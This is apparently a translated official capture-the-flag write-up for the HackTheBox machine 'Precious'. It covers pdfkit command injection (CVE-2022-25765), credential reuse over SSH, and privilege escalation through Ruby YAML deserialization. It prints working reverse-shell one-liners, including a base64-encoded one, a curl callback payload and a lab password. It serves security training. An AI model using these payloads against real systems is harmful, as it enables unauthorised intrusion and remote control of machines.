Precious
2022 年 11 月 15 日 / 文件编号 D22.100.213 编制者:C4rm3l0 机器作者:Nauten 难度:简单 分类:官方
概要
Precious 是一款 Easy Difficulty Linux 机器,专注于 Ruby 语言。 它托管一个自定义的 Ruby Web 应用程序,使用一个过时的库,即 pdfkit
,它容易受到 CVE-2022-25765
的攻击,导致目标机器上的初始 shell。 在使用在 Gem
存储库配置文件中找到的明文凭据进行透视后,该框以对自定义、过时的 Ruby 脚本的不安全反序列化攻击结束。
所需技能
基本网页枚举
学到的技能
命令注入 分析和识别易受攻击的 Ruby 代码
枚举
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.189 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.11.189
初始 Nmap 扫描显示标准 SSH 服务,以及在其默认端口上运行的 Nginx Web 服务器,后者似乎正在运行 Phusion Passenger,它本身就是一个 Web 服务器,旨在与其他服务集成,例如 Apache,或在本例中为 Nginx。
HTTP
导航到端口 80 会显示一个 Web 应用程序,它似乎可以将网页转换为 PDF。
当使用浏览器的开发人员控制台或 BurpSuite 等代理分析请求的响应标头时,我们可以看到 X-Runtime
标头被设置为 Ruby ,表明 Phusion Passenger 在这种情况下正在运行 Ruby Web 应用程序。
在获得有效 URL 后,应用程序获取它并继续生成具有随机名称的 PDF,例如 h2a0s6epa7r6phot1krfa646s4gk8gof.pdf
。 我们使用 exiftool
分析文档的 Exif
元数据,以寻找有关后端发生的事情的任何潜在线索。
Creator
标签设置为 pdfkit v0.8.6
,表示这是生成文件的库。 快速搜索名称和版本会产生一个公共存储库,随后会产生一个相关的安全建议,其中包括有用的参考资料,其中包括一个 [PoC]()
。 当库的实现允许用户访问查询字符串参数时,就会出现漏洞,因为随后可以使用 shell 命令替换字符串注入代码。
鉴于我们提供的 URL 很可能是通过该库传递的,我们尝试文章中的有效负载:
似乎在幕后发生了更多验证,我们必须绕过这些验证。我们尝试使用语法上有效的 URL 的有效载荷,其有效载荷指向我们使用 Python 启动的网络服务器。
http://test.local/%20`curl http://10.10.14.40/test`
我们成功地在我们的 HTTP 服务器上收到一个回调,验证我们在目标机器上有 RCE。
突破口
鉴于 Web 应用程序由 Ruby 提供支持,我们也将选择 Ruby 有效负载,尽管 Bash 工作得同样好。 使用 revshells,我们可以快速创建自定义有效负载并选择编码; 在这种情况下, Base64
。
ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.40",4444))'
我们在端口 4444 上启动一个 Netcat 侦听器,并在 Web 应用程序上提交有效负载.
http://test.local/%20`echo
cnVieSAtcnNvY2tldCAtZSdzcGF3bigic2giLFs6aW4sOm91dCw6ZXJyXT0+VENQU29ja2V0Lm5ldygiMTAuMTA
uMTQuNDAiLDQ0NDQpKSc= | base64 -d | bash`
We successfully receive a shell as ruby .
横向移动
我们使用 Python 将 shell 升级为 TTY shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
枚举我们用户的主目录会显示一个 .bundle 目录,该目录通常托管 Gem
和其他 Ruby
存储库使用的配置文件。
在上述目录中,我们可以找到一个配置文件,其中显示了 henry 用户的一些纯文本凭据。 此配置文件通常存储捆绑器选项,允许用户保存每个 Gem 源的凭据。 重复使用密码从来都不是一个好主意,在这种情况下,这种泄漏使我们可以通过 SSH 访问 henry 用户。
我们现在可以使用凭据 henry:Q3c1AqGHtoI0aXAYFH
通过 SSH 进入该框,并在 /home/henry/user.txt
获取用户标志。
权限提升
枚举目标机器时要采取的首要步骤之一是检查给定用户的潜在 sudo 权限。 在这种情况下,这样做会显示一个 Ruby 脚本的 sudo 条目。
我们检查源代码以了解此脚本的功能。
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
...
该脚本读取 dependencies.yml
的内容,然后检查指定的版本是否与系统上全局安装的版本相同。 运行脚本揭示了一个重要信息:
我们在源码中也可以看到,dependencies.yml
是相对引用的,也就是没有指定绝对路径,这也是为什么程序执行的时候会在当前目录下寻找文件。 鉴于我们现在已经验证我们可以控制这部分代码,我们在负责加载文件的 YAML
模块中搜索潜在漏洞。
查看 Ruby docs,我们已经找到了有关通过 YAML 加载不受信任数据的安全隐患的参考:
该模块为 YAML
格式的数据序列化提供了一个 Ruby 接口。
安全: 不要使用 YAML 加载不受信任的数据。 这样做是不安全的,并且可能允许恶意输入在您的应用程序中执行任意代码。 请参阅 doc/security.rdoc 了解更多信息。
搜索 Ruby 反序列化会产生一个流行的存储库,其中包含一系列对我们的实践有用的有效负载;它们都绑定到 2.0 和 3.0 之间的版本,所以我们首先检查目标机器运行的是什么版本。
看起来这个版本容易受到上述存储库中后一个有效负载的攻击,因此我们将其粘贴到 /tmp
目录中的 dependencies.yml
文件中.
运行脚本验证了这个理论,因为 id 命令成功执行.
现在,我们可以通过将 dependencies.yml
文件中的 git_set
标记从 id
更改为我们的有效载荷,来注入我们最初用于获取 reverse shell 以获取 root
shell 的相同 Ruby 有效载荷。
我们再次在端口 4444 上设置监听器,并再次运行脚本.
我们得到一个回调并成功地 root 了盒子。最终标志可以在 /root/root.txt
找到。